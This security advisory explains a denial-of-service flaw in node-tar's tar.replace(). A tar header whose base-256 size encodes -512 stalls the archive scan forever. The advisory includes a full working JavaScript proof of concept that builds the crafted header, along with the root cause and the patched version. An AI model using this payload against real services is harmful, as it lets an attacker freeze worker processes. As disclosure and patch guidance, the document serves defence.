CVE-2026-59874: node-tar Infinite Loop via Negative Base-256 Entry Size
A crafted tar archive with a negative entry size can make node-tar's replace operation loop forever, letting an attacker freeze a worker process with a single malicious file.
The problem
The tar.replace() API scans an existing archive before appending new entries. It parses each header and advances the read position by the entry size rounded to a 512-byte block boundary.
Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scanner accepts that negative value, computes a body skip of -512, then adds the normal 512-byte header advance, for zero net progress.
The scanner loops on the same header forever and denial of service results.
This is reachable through the public package API whenever the target archive file is attacker-controlled. No extraction path is involved.
Proof of concept
A working proof-of-concept for CVE-2026-59874 in tar, with the exact payload below.
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'
// Build a 512-byte tar header with size field base-256 encoded as -512
const oct = (b, n, off, len) =>
b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')
const badHeader = () => {
const h = Buffer.alloc(512)
h.write('x', 0) // filename
oct(h, 0o644, 100, 8) // mode
oct(h, 0, 108, 8) // uid
oct(h, 0, 116, 8) // gid
// size field (bytes 124-135): base-256 encoded -512
// 0x80 marker byte + 0xff bytes + 0xfe 0x00 = -512 in two's complement
Buffer.alloc(10, 0xff).copy(h, 124)
h[134] = 0xfe
h[135] = 0x00
oct(h, 0, 136, 12) // mtime
h.fill(0x20, 148, 156) // checksum placeholder (spaces)
h[156] = 0x30 // type flag '0' (regular file)
h.write('ustar\0' + '00', 257, 8, 'binary')
// Compute and write real checksum
let sum = 0
for (const c of h) sum += c
h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')
return h
}
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')
fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')
const r = spawnSync(
process.execPath,
[
'--input-type=module',
'-e',
`
import * as tar from 'tar'
tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
console.log('completed')
`,
],
{ timeout: 20_000 }
)
// true means the process timed out (never completed)
console.log(r.error?.code === 'ETIMEDOUT')The root cause is that header.ts parsed base-256 encoded sizes without rejecting negative values (CWE-835). With a size of -512, the position advance inside the replace scan is -512 + 512 = 0, so the loop index never moves forward.
The fix in commit 9e78bf0 introduces a notNegative helper that returns undefined for any parsed numeric value below zero, applied to the size field in both header.ts and pax.ts. An undefined size causes the scanner to treat the header as malformed and bail out rather than loop.
The checksum on the crafted header is valid, so no prior integrity check catches it. The only gate was the missing lower-bound validation on the parsed size.
The fix
Upgrade tar to version 7.5.18 or later. No workaround exists for applications that call tar.replace() on attacker-controlled archives in older versions. Pure extraction workflows (tar.extract, tar.list) are not affected by this specific issue.
Related research
- high · 7.5CVE-2026-59879CVE-2026-59879: Immutable.js List 32-bit Trie Overflow leading to Denial of Service
- high · 7.8CVE-2026-15895CVE-2026-15895: jsii-diff OS Command Injection via npm: Package Argument
- high · 7.5CVE-2026-59870: js-yaml Quadratic CPU Denial of Service via !!omap
- high · 7.5CVE-2026-71321CVE-2026-71321: Nuxt Island Endpoint Unauthenticated CPU Exhaustion (DoS)